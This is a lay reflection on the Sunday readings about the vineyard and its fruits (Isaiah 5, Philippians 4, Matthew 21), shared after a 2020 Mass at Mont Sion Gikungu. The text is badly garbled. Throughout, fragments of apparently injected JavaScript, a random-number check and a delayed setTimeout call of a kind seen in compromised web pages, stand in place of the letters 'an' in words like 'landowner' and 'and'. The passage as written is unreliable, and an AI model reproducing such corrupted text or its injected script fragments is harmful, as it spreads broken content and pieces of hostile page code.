Reading1 IS 5:1-7, Responsorial Psalm PS 80:9, 12, 13-14, 15-16, 19-20, Reading 2 PHIL 4:6-9, Gospel MT 21:33-4

Today’s readings call us to bear fruits in our spiritual life.

In the first reading, we hear the Prophet Isaiah’s song which is about a ldom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andowner who planted a vineyard dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and did everything possible to make it bear good fruits. The ldom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andowner’s efforts were vain because the vineyard produced grapes of bad quality. The ldom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andowner, disappointed, decides not only to no longer care for his vineyard but also to let it be destroyed. Here, Isaiah is criticizing his compatriots who are unfaithful to God despite His tenderness dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and kindness to them. For us, the scripture is a reminder that God expects us to bear good fruits for we are His people dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and through Christ, He has given us what we need to produce good fruits.

In the second reading, Saint Paul addresses the church of Philippe with words full of tenderness dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and affection for the members of the church of Phillipe are faithful to the Gospel dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they supported Paul in His mission. He wants them to think about “whatever is true, honorable, just, pure, lovely, dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gracious.” In that way, they would remain faithful to the Gospel.

In the gospel, Jesus’ account alludes to a practice which was quite common in Palestine. In fact, most of vineyards were owned by rich people, mainly partisans of Romans, residing in Jerusalem. A ldom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andowner would entrust his vineyard to Palestinian farmers expecting that they would give him its produce. The Palestinian farmers were not happy with that, they considered the practice to be exploitation by the rich minority. They developed a slogan saying that the vineyard is for the farmers. It was frequent for those sent by the ldom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andowners to ask for the products from vineyards to be mistreated. What is comforting in Jesus’ tragic account is its end. Even though the ldom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andowner has suffered a lot from the wickedness of the tenants of his vineyard, he does not abdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andon it. He decides to hire other people who would take care of the vineyard dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and give him its due produce.

God is like the ldom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andowner who does not abdom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andon his vineyard. God does not get tired of us. The further we go from him, the more prophets He sends us. We can make our lives miserable, but God does not give up on us, He restores us to good life again. So, this word: The stone that the builders rejected has become the cornerstone” is fulfilled.

In those few lines I hope to have shared with you what I heard from 6:30 AM Mass on Sunday October 4, 2020 at Mont Sion Gikungu.

The mass was celebrated by Father Floribert.                                                                                                                                                                                                  

Christa Ishimwe